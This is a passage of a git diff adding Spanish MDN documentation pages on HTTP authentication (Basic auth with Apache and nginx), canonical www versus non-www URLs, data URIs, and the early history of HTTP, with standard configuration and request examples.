+ <li><strong>Basic</strong> (ver {{rfc(7617)}}, credenciales codificadas en base64 . Ver mas abajo para mas información.),</li>
+ <li><strong>Bearer</strong> (ver {{rfc(6750)}}, bearer tokens de acceso en recursos protegidos mediante OAuth 2.0),</li>
+ <li><strong>Digest</strong> (ver {{rfc(7616)}}, has MD5 solo soportado en Firefox, ver {{bug(472823)}} para encriptado SHA),</li>
+ <li><strong>HOBA</strong> (ver {{rfc(7486)}} (borrador), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, basado en firma digital),</li>
+ <li><strong>Mutual</strong> (ver <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li>
+ <li>
+  <p><strong>AWS4-HMAC-SHA256</strong> (ver <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a>).</p>
+ </li>
+</ul>
+
+<h2 id="Esquema_de_autenticación_Basic">Esquema de autenticación Basic</h2>
+
+<p>El esquema de autenticación HTTP "Basic" está definido en {{rfc(7617)}}, que transmite las credenciales como un par usuario/contraseña codificado usando base64.</p>
+
+<h3 id="Seguridad_de_la_autenticación_básica">Seguridad de la autenticación básica</h3>
+
+<p>Como el usuario y la contraseña son pasados a través de la red como texto plano (éste es codificado en base64, pero base64 puede ser decodificado), el esquema de autenticación básico no es seguro. HTTPS / TLS debe ser usado junto a la autenticación básica. Sin éstas mejoras de seguridad, la autenticación básica no debe ser usada para proteger información sensible o valiosa.</p>
+
+<h3 id="Restringiendo_acceso_con_Apache_y_autenticación_básica">Restringiendo acceso con Apache y autenticación básica</h3>
+
+<p>Para proteger por contraseña un directorio en un servidor Apache, necesitas usar los ficheros .htaccess y .htpasswd.</p>
+
+<p>El fichero .htaccess normalmente tiene esta forma:</p>
+
+<pre>AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p>El fichero .htaccess hace una referencia al fichero .htpasswd, que contiene en cada línea un nombre de usuario y su respectiva contraseña separadas por dos puntos (":"). En este ejemplo no puedes ver la contraseña porque está <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encriptada </a>(utilizando md5 en este caso). Además, puedes nombrar el fichero .htpasswd de forma diferente si tu quieres, pero teniendo en cuenta que no debería ser accesible por nadie. (Apache está configurado normalmente para prevenir el acceso a ficheros .ht*).</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Restringiendo_acceso_con_nginx_y_autenticación_básica">Restringiendo acceso con nginx y autenticación básica</h3>
+
+<p>En el caso de nginx necesitarás especificar la localización a proteger y usar la directiva <strong>auth_basic</strong>, que provee el nombre del área protegida. La directiva <strong>auth_basic_user_file </strong>apunta al fichero .htpasswd que contiene las credenciales de usuario encriptadas, como en el ejemplo de Apache de mas arriba.</p>
+
+<pre>location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Acceso_usando_credenciales_en_la_URL">Acceso usando credenciales en la URL</h3>
+
+<p>Muchos clientes también le permiten evitar el mensaje de inicio de sesión enviando el usuario y la contraseña codificados por la URL.</p>
+
+<pre>https://username:password@www.example.com/</pre>
+
+<p><strong>El uso de estas URLs está obsoleto.</strong> En Chrome, la cadena usuario:contraseña@ dentro de URLs incluso es <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">cortada </a>por razones de seguridad. En Firefox se comprueba si el sitio actualmente requiere una autenticación, y de no ser así, Firefox avisará al usuario con un mensaje "Está a punto de iniciar sesión en el sitiio "www.example.com" con el usuario "username", pero el sitiio web no requiere autenticación. Puede ser un intento de engañarlo.".</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
new file mode 100644
index 0000000000..53d2270e03
--- /dev/null
+++ b/files/es/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
@@ -0,0 +1,71 @@
+---
+title: Elección entre www y no-www URLs
+slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+tags:
+  - Guía
+  - HTTP
+  - URL
+  - WWW
+  - no www
+translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Una cuestión recurrente entre los dueños de sitios web consiste en elegir entre un no-www y www URLs. Esta página contiene algunos consejos sobre qué es mejor.</p>
+
+<h2 id="¿Qué_son_los_nombres_de_dominio">¿Qué son los nombres de dominio?</h2>
+
+<p>En una URL HTTP, la primera subcadena que sigue a la inicial <code>http://</code> o <code>https://</code> se llama nombre de dominio. El nombre de dominio está alojado en un servidor donde residen los documentos.</p>
+
+<p>Un servidor no es necesariamente una máquina física: varios servidores pueden residir en la misma máquina física. O bien, un servidor puede ser manejado por varias máquinas, cooperando para producir la respuesta o equilibrando la carga de las solicitudes entre ellas. El punto clave es que semanticamente un nombre de dominio representa un solo servidor.</p>
+
+<h2 id="¿Entonces_¿tengo_que_elegir_uno_u_otro_para_mi_sitio_web">¿Entonces, ¿tengo que elegir uno u otro para mi sitio web?</h2>
+
+<ul>
+ <li><u>Sí</u>, tienes que elegir uno y seguir con él. La elección de cual tener como ubicación canónica es tuya, pero si eliges una, síguela. Esto hará tu sitio web parezca más consistente para tus usuarios y para los motores de búsqueda. Esto incluye siempre vincular al dominio elegido (lo que no debería ser difícil si está utilizando URLs relativas en su sitio web) y siempre compartir enlaces (por correo electrónico / redes sociales, etc.) al mismo dominio.</li>
+ <li><u>No</u>, puedes tener dos. Lo que es importante es que seas coherente y consistente con cuál es el dominio oficial. <strong>A este dominio oficial se le llama nombre <em>canónico</em>. </strong>Todos tus enlaces absolutos deben usarlo. Pero, aun así, puedes seguir teniendo el otro dominio funcionando: HTTP permite dos técnicas para que esté claro para sus usuarios, o motores de búsqueda, cuyo dominio es el canónico, mientras permite que el dominio no-canónico funcione para proporcionar las páginas esperadas.</li>
+</ul>
+
+<p>Por lo tanto, ¡elija uno de sus dominios como su canónico! Hay dos técnicas a continuación para permitir que el dominio no canónico funcione aún.</p>
+
+<h2 id="Técnicas_para_las_URL_canónicas.">Técnicas para las URL canónicas.</h2>
+
+<p>Hay diferentes maneras de elegir qué sitio web es <em>canónico</em>.</p>
+
+<h3 id="Usando_redirecciones_HTTP_301">Usando redirecciones HTTP 301 </h3>
+
+<p>En este caso, necesitas configurar el servidor que recibe las peticiones HTTP  (que probablemente sea el mismo para las URL www y no www) para responder con una respuesta HTTP adecuada {{HTTPStatus (301)}} a cualquier solicitud al dominio no-canónico. Esto redirigirá el navegador que intenta acceder a las URL no canónicas a su equivalente canónico. Por ejemplo, si ha elegido usar URL que no sean de www como tipo canónico, debe redirigir todas las URL de www a su URL equivalente sin el www.</p>
+
+<p>Ejemplo:</p>
+
+<ol>
+ <li>Un servidor recibe una petición para <code>http://www.example.org/whaddup</code> (cuando el dominio canónico es example.org)</li>
+ <li>El servidor responde con un código {{HTTPStatus(301)}} con la cabecera <code>{{HTTPHeader("Location")}}: http://example.org/whaddup</code>.</li>
+ <li>El cliente emite una solicitud al dominio canónico.: <code>http://example.org/whatddup</code></li>
+</ol>
+
+<p>El <a href="https://github.com/h5bp/html5-boilerplate">HTML5 boilerplate project</a> tiene un ejemplo sobre <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">cómo configurar un servidor Apache para redirigir un dominio a otro</a>.</p>
+
+<h3 id="Usando_&lt;link_relcanonical>"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #333333;">Usando </span></font><em>&lt;</em>link<em> rel</em><em>="canonical"&gt;</em></code></h3>
+
+<p>Es posible añadir un elemento especial HTML {{HTMLElement("link")}} a una página para indicar cual es la dirección canónica de la página. Esto no tendrá ningún impacto en la lectura humana, pero le dirá a rastreadores de los motores de búsqueda donde vive actualmente la página. De esta manera, los motores de búsqueda no indexan la misma página varias veces, lo que podría hacer que se considere contenido duplicado o correo no deseado, e incluso eliminar o bajar su página de las páginas de resultados del motor de búsqueda.</p>
+
+<p>Al agregar una etiqueta de este tipo, sirve el mismo contenido para ambos dominios, indicando a los motores de búsqueda qué URL es canónica. En el ejemplo anterior, <code>http://www.example.org/whaddup</code> serviría el mismo contenido que  <code>http://example.org/whaddup</code>, pero con un elemento {{htmlelement("link")}} adicional en la cabecera:</p>
+
+<p><code>&lt;link href="http://example.org/whaddup" rel="canonical"&gt;</code></p>
+
+<p>A diferencia del caso anterior, el historial del navegador considerará las direcciones URL no www y www como entradas independientes.</p>
+
+<h2 id="Hacer_que_tu_página_funcione_para_ambas">Hacer que tu página funcione para ambas</h2>
+
+<p>Con estas técnicas, puedes configurar tu servidor para responder correctamente a ambos dominios, www y no www. Es un buen consejo hacer esto, ya que no puede predecir qué URL escribirán los usuarios en la barra de URL de su navegador. Es una cuestión de elegir qué tipo desea usar como su ubicación canónica, y luego redirigir el otro tipo a él.</p>
+
+<h2 id="Decidir_el_caso">Decidir el caso</h2>
+
+<p class="entry-title">Este es un tema muy subjetivo que podría considerarse un problema de <a href="http://bikeshed.com/">bikeshedding</a>. Si desea leer más a fondo, lea algunos de los  <a href="http://www.themezilla.com/should-you-use-www-in-your-url-or-not/">muchos artículos</a> de este tema.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">Estadísticas sobre lo que la gente escribe en la barra de URL</a> (2011)</li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/datos_uris/index.html b/files/es/web/http/basics_of_http/datos_uris/index.html
new file mode 100644
index 0000000000..6fa23a5ba3
--- /dev/null
+++ b/files/es/web/http/basics_of_http/datos_uris/index.html
@@ -0,0 +1,168 @@
+---
+title: Datos URIs
+slug: Web/HTTP/Basics_of_HTTP/Datos_URIs
+tags:
+  - Base 64
+  - Guia(2)
+  - Intermedio
+  - URI
+  - URL
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Datos URIs</strong>, URLs prefijados con los datos<code>:</code> esquema, permiten a los creadores de contenido incorporar pequeños archivos en linea en los documentos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Los datos URIs se componen de cuatro partes a: un prefijo (<code>data:</code>), un tipo MIME que indica el tipo de datos, un token <code>base64</code> opcional no textual, y los datos en si:</p>
+
+<pre class="syntaxbox">data:[&lt;mediatype&gt;][;base64],&lt;data&gt;
+</pre>
+
+<p>El <code>mediatype</code> es una cadena de tipo MIME, por ejemplo <code>'image/jpeg'</code> para un archivo de imagen JPEG. si se omite, será por defecto <code>text/plain;charset=US-ASCII</code></p>
+
+<p>Si el dato es textual, solo tiene que insertar el texto (utilizando las entidades o escapes adecuados en función del tipo de documento). Por otra parte, puedes especificar base-64 para insertar datos binarios codificados en base-64.</p>
+
+<p>Algunos ejemplos:</p>
+
+<dl>
+ <dt><code>data:,Hello%2C%20World!</code></dt>
+ <dd>Datos simples text/plain</dd>
+ <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt>
+ <dd>versión codificada en base64-encoded de las anteriores</dd>
+ <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt>
+ <dd>Un documento HTML con <code>&lt;h1&gt;Hello, World!&lt;/h1&gt;</code></dd>
+ <dt><code>data:text/html,&lt;script&gt;alert('hi');&lt;/script&gt;</code></dt>
+ <dd>Un documento HTML que ejecuta una alerta Javascript. Tenga en cuenta que se requiere la etiqueta script de cierre.</dd>
+</dl>
+
+<h2 id="Codificación_de_datos_en_formato_base64">Codificación de datos en formato base64</h2>
+
+<p>Esto se puede hacer fácilmente desde la línea de comandos usando <code>uuencode, </code>una utilidad disponible en sistemas Linux y Mac OS X:</p>
+
+<pre>uuencode -m infile remotename
+</pre>
+
+<p>El parámetro <code>infile</code> es el nombre para el archivo que desees decodificar en formato base64, y <code>remotename</code> es el nombre remoto para el archivo, que no se utilizará realmente en los datos de las URLs.</p>
+
+<p>La salida será similar a esto:</p>
+
+<pre>xbegin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+</pre>
+
+<p>El URI de datos utilizará los datos codificados después de la cabezera inicial.</p>
+
+<h3 id="En_la_pagina_Web_usando_JavaScript">En la pagina Web, usando JavaScript</h3>
+
+<p>Las Web tiene APIs primitivas para codificar o decodificar en base64: <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">codificación y decodificación Base64</a>.</p>
+
+<h2 id="Problemas_comunes">Problemas comunes</h2>
+
+<p>Esta sección describe los problemas que comunmente ocurren cuando se crean o se usan los datos URIs.</p>
+
+<dl>
+ <dt>Sintaxis</dt>
+ <dd>El formato de los datos URIs es muy simple, pero es facil olvidarse de poner una coma antes del segmento de la "data", o para codificar incorrectamente los datos en formato base64.</dd>
+ <dt>Formateando en HTML</dt>
+ <dd>Un dato URI provee un archivo dentro de un archivo, que potenciamente puede ser muy amplia con relación con el ancho del documento de cierre. Como una URL, los datos se les puede dar formato con espacios en blanco (<span class="short_text" id="result_box" lang="es"><span>avance de línea</span><span>,</span> <span>pestaña</span><span>, o espacios</span></span>), pero hay cuestiones prácticas que se plantean <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">cuando se usa codificación base64</a>.</dd>
+ <dt>Limitaciones de longitud</dt>
+ <dd>Aunque Firefox soporta con URIs de datos de longitud esencialmente ilimitada, los navegadores no estan obligados a apoyar cualquier longitud máxima de datos en particular. Por ejemplo, el navegador Opera 11 limita las URIs de datos cerca de<code> los </code>65000 caracteres.</dd>
+ <dt>Falta de control de errores</dt>
+ <dd>Los parametros no válidos en los medios de comunicación, o errores ortográficos cuando se especifiquen<code> 'base64'</code>, se ignoran, pero no se proporciona ningún error.</dd>
+ <dt>No hay soporte para consulta de cadenas, etc.</dt>
+ <dd>
+ <p>Las partes de datos de URIs de datos son opácos, por lo que un intento de utilizar una cadena de consulta (parametros específicos de página, con la sintaxis<code> &lt;url&gt;?parameter-data</code>) con un URIs de datos que se acaba de incluir la cadena de consulta en los datos de la URI que representa. Por ejemplo:</p>
+
+ <pre>data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+ <p>Esto representa un recurso HTML cuyo contenido es:</p>
+
+ <pre class="eval">lots of text...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2397")}}</td>
+   <td>The "data" URL scheme"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 64px; width: 812px;">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12<sup>[2]</sup></td>
+   <td>{{CompatIE(8)}}<sup>[1][2]</sup></td>
+   <td>7.20</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] IE8 solo soporta datos URIs en archivos CSS, con un tamaño máximo de 32kB.</p>
+
+<p>[2]IE9 y posteriores, así como Edge, soportan datos URIs en archivos CSS y JS, pero no en archivos HTML, con un tamaño máximo de 4GB.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 codificación y decodificación</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/en-US/docs/URI">URI</a></li>
+</ul>
diff --git a/files/es/web/http/basics_of_http/evolution_of_http/index.html b/files/es/web/http/basics_of_http/evolution_of_http/index.html
new file mode 100644
index 0000000000..8d4373a512
--- /dev/null
+++ b/files/es/web/http/basics_of_http/evolution_of_http/index.html
@@ -0,0 +1,197 @@
+---
+title: Evolución del protocolo HTTP
+slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><strong>HTTP</strong> es el protocolo en el que se basa la Web. Fue inventado por Tim Berners-Lee entre los años 1989-1991, HTTP ha visto muchos cambios, manteniendo la mayor parte de su simplicidad y desarrollando su flexibilidad. HTTP ha evolucionado, desde un protocolo destinado al intercambio de archivos en un entorno de un laboratorio semi-seguro, al actual laberinto de Internet, sirviendo ahora para el intercambio de imágenes, vídeos en alta resolución y en 3D.</p>
+
+<h2 id="Invención_de_la_World_Wide_Web">Invención de la World Wide Web</h2>
+
+<p>En 1989, mientras trabajaba en el CERN, Tim Berners-Lee escribió una propuesta para desarrollar un sistema de hipertexto sobre Internet. Inicialmente lo llamó: '<em>Mesh' </em>(malla, en inglés), y posteriormente se renombró como<em> World Wide Web </em>(red mundial), durante su implementación en 1990. Desarrollado sobre los protocolos existentes TCP e IP, está basado en cuatro bloques:</p>
+
+<ul>
+ <li>Un formato de texto para representar documentos de hiper-texto: <em><a href="/en-US/docs/Web/HTML">HyperText Markup Language</a></em> (HTML).</li>
+ <li>Un protocolo sencillo para el intercambio de esos documentos, del inglés: <em>HypertText Transfer Protocol </em>(HTTP) : protocolo de transferencia de hiper-texto.</li>
+ <li>Un cliente que muestre (e incluso pueda editar) esos documentos. El primer navegador Web, llamado: <em>WorldWideWeb</em>.</li>
+ <li>Un servidor para dar acceso a los documentos, una versión temprana: <em>httpd (http daemon)</em></li>
+</ul>
+
+<p>Estos cuatro bloques fundamentales se finalizaron para finales de 1990, y los primeros servidores estaban ya funcionando fuera del CERN a principios del 1991. El 6 de Agosto de 1991, el <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">post</a> de Tim Berners-Lee, se considera actualmente como el inicio oficial de la Web como proyecto público. </p>
+
+<p>La versión del protocolo HTTP usada en aquel momento, era realmente muy sencilla, posteriormente pasó a HTTP/0.9, referido algunas veces, como el protocolo de una sola línea.</p>
+
+<h2 id="HTTP0.9_–_El_protocolo_de_una_sola_línea">HTTP/0.9 – El protocolo de una sola línea</h2>
+
+<p>La versión inicial de HTTP, no tenía número de versión; aunque posteriormente se la denominó como 0.9 para distinguirla de las versiones siguientes. HTTP/0.9 es un protocolo extremadamente sencillo: una petición consiste simplemente en una única linea, que comienza por el único método posible {{HTTPMethod("GET")}}, seguido por la dirección del recurso a pedir (no la URL, ya que tanto el protocolo, el servidor y el puerto, no son necesarios una vez ya se ha conectado al servidor).</p>
+
+<pre>GET /miPaginaWeb.html</pre>
+
+<p>La respuesta también es muy sencilla: solamente consiste el archivo pedido.</p>
+
+<pre>&lt;HTML&gt;
+Una pagina web muy sencilla
+&lt;/HTML&gt;</pre>
+
+<p>Al contrario que sus posteriores evoluciones, el protocolo HTTP/0.9 no usa cabeceras HTTP, con lo cual únicamente es posible transmitir archivos HTML, y ningún otro tipo de archivos. Tampoco había información del estado ni códigos de error: en el caso un problema, el archivo HTML pedido, era devuelto con una descripción del problema dentro de él, para que una persona pudiera analizarlo.</p>
+
+<h2 id="HTTP1.0_–_Desarrollando_expansibilidad">HTTP/1.0 – Desarrollando expansibilidad</h2>
+
+<p>La versión HTTP/0.9 era ciertamente limitada y tanto los navegadores como los servidores, pronto ampliaron el protocolo para que fuera más flexible.</p>
+
+<ul>
+ <li>La versión del protocolo se envía con cada petición: HTTP/1.0 se añade a la línea de la petición GET.</li>
+ <li>Se envía también un código de estado al comienzo de la respuesta, permitiendo así que el navegador pueda responder al éxito o fracaso de la petición realizada, y actuar en consecuencia (como actualizar el archivo o usar la caché local de algún modo).</li>
+ <li>El concepto de cabeceras de HTTP, se presentó tanto para las peticiones como para las respuestas, permitiendo la trasmisión de meta-data y conformando un protocolo muy versátil y ampliable. </li>
+ <li>Con el uso de las cabeceras de HTTP, se pudieron transmitir otros documentos además de HTML, mediante la cabecera {{HTTPHeader("Content-Type")}}.</li>
+</ul>
+
+<p>Una petición normal, sigue la estructura: </p>
+
+<pre>GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+&lt;HTML&gt;
+Una pagina web con una imagen
+  &lt;IMG SRC="/miImagen.gif"&gt;
+&lt;/HTML&gt;</pre>
+
+<p>Continua con una segunda conexión y la petición de una imagen:</p>
+
+<pre>GET /myImagen.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+<em>(image content)</em></pre>
+
+<p>Estas innovaciones, no se desarrollaron de forma planeada, sino más bien con una aproximación de prueba y error, entre los años 1991 y 1995: un servidor y un navegador, añadían una nueva funcionalidad y se evaluaba su aceptación. Debido a esto, en ese periodo eran muy comunes los problemas de interoperatividad.  En Noviembre de 1996, para poner fin a estos problemas se publicó un documento informativo que describía las prácticas adecuadas, {{RFC(1945)}}. Esté documento es la definición del protocolo HTTP/1.0. Resulta curioso, que realmente no es un estándar oficial. </p>
+
+<h2 id="HTTP1.1_–_El_protocolo_estándar.">HTTP/1.1 – El protocolo estándar.</h2>
+
+<p>En paralelo al uso, un poco desordenado, y las diversas implementaciones de HTTP/1.0, y desde el año 1995,  un año antes de la publicación del documento del HTTP/1.0, un proceso de estandarización formal ya estaba en curso. La primera versión estandarizada de HTTP: el protocolo HTTP/1.1, se publicó en 1997, tan solo unos meses después del HTTP/1.0 </p>
+
+<p>HTTP/1.1 aclaró ambigüedades y añadió numerosas mejoras: </p>
+
+<ul>
+ <li>Una conexión podía ser reutilizada, ahorrando así el tiempo de re-abrirla repetidas veces para mostrar los recursos empotrados dentro del documento original pedido.</li>
+ <li>Enrutamiento ('Pipelining' en inglés) se añadió a la especificación, permitiendo realizar una segunda petición de datos, antes de que fuera respondida la primera, disminuyendo de este modo la latencia de la comunicación.</li>
+ <li>Se permitió que las respuestas a peticiones, podían ser divididas en sub-partes.</li>
+ <li>Se añadieron controles adicionales a los mecanismos de gestión de la cache. </li>
+ <li>La negociación de contenido, incluyendo el lenguaje, el tipo de codificación, o tipos, se añadieron a la especificación, permitiendo que servidor y cliente, acordasen el contenido más adecuado a intercambiarse. </li>
+ <li>Gracias a la cabecera, {{HTTPHeader("Host")}}, pudo ser posible alojar varios dominios en la misma dirección IP. </li>
+</ul>
+
+<p>El flujo normal de una serie de peticiones y respuestas, bajo una única conexión, se expone a continuación:</p>
+
+<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+<em>(...contenido...)</em>
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+<em>(image content of 3077 bytes)</em></pre>
+
+<p>HTTP/1.1 fue publicado inicialmente como {{rfc(2068)}} en Enero de 1997.</p>
+
+<h2 id="Más_de_15_años_de_expansiones">Más de 15 años de expansiones</h2>
+
+<p>Gracias a su expansibilidad - ya que la creación de nuevas cabeceras o métodos es sencilla - e incluso teniendo en cuenta que el protocolo HTTP/1.1 fue mejorado en dos revisiones: la primera, el documento {{RFC("2616")}}, publicado en Junio de 1999 y posteriormente en los documentos {{RFC("7230")}}-{{RFC("7235")}} publicados en Junio del 2014, en previsión de la publicación de HTTP/2. Así pues, el protocolo HTTP/1.1 ha sido increíblemente estable durante más de 15 años.</p>
+
+<h3 id="El_uso_de_HTTP_para_transmisiones_seguras">El uso de HTTP para transmisiones seguras</h3>
+
+<p>El mayor cambio en el desarrollo de HTTP, fue a finales de 1994. En vez de trasmitir HTTP sobre la capa de TCP/IP, se creo una capa adicional sobre esta: SSL. La versión SSL 1.0 nunca fue publicada fuera de las compañías desarrolladoras, pero el SSL 2.0 y sus sucesoras SSL 3.0 y SSL 3.1 permitieron la creación del comercio electrónico en la Web (e-commerce), encriptando y garantizando la autenticidad de los mensajes intercambiados entre servidor y cliente. SSL se añadió a la lista de estándares y posteriormente evolucionó hasta ser el protocolo TLS, con versiones 1.0, 1.1 y 1.2, que fueron apareciendo para resolver vulnerabilidades. Actualmente se está desarrollando el protocolo TLS 1.3.</p>
+
+<p>Durante el mismo periodo, la necesidad por una capa de trasporte encriptada aumentó; la Web, que permitía una relativa confianza de lo que era una mayoría de trabajo académico, pasó a ser una jungla donde anuncios, individuos aleatorios o criminales competían para obtener tanta información privada sobre la gente como pudieran, o trataban de suplantarlos o incluso sustituir los datos trasmitidos por otros alterados. A medida que hubo aplicaciones que se desarrollaban y funcionaban sobre HTTP, fueron más y más funcionales, tener acceso a más y mayor información personal como contactos, e-mails, o posición geográfica del usuario, la necesidad de tener el protocolo TLS, fue fundamental incluso fuera del ámbito del comercio electrónico.</p>
+
+<h3 id="Uso_de_HTTP_para_aplicaciones_complejas">Uso de HTTP para aplicaciones complejas</h3>
+
+<p>La visión original de Tim Berners-Lee para la Web no era solo un medio de 'solo' lectura. Él había visionado una Web donde la gente pudiese añadir y mover documentos de forma remota, un estilo de sistema de archivos distribuido. Sobre el año 1996, HTTP se había desarrollado para  permitir la autoría, y fue creado un estándar denominado WebDAB. Este fue más tarde ampliado por aplicaciones especificas como CardDAV, para permitir libros de direcciones, y CalDAV para trabajar con calendarios. Pero todos estas extensiones  '*DAV', tenían una debilidad, y es que debian ser implementadas por los servidores, para poder ser usadas, lo cual era bastante complejo. Así pues su uso en la Web fue bastante acotado. </p>
+
+<p>En el año 2000, un nuevo formato para usar HTTP fue diseñado: REST (del inglés:  '{{glossary("REST", "Representational State Transfer")}}'). Las acciones de la nueva API, no estaban supeditadas a nuevos métodos HTTP, unicamente al acceso a URIs especificas con métodos HTTP/1.1). Esto permitió que cualquier aplicación Web dispusiera de una API, para permitir la recuperación y modificación de datos, sin tener que actualizar servidores o navegadores; todo lo que se necesitaba era incluido en los archivos servidos por los sitios Web. La contrapartida del modelo REST está en que cada sitio Web define su propia versión no estándar de API RESTful y tiene un control total sobre ella; al contrario del formato *DAV donde clientes y servidores eran interoperables. La arquitectura REST empezó a ser muy común a partir del año 2010.</p>
+
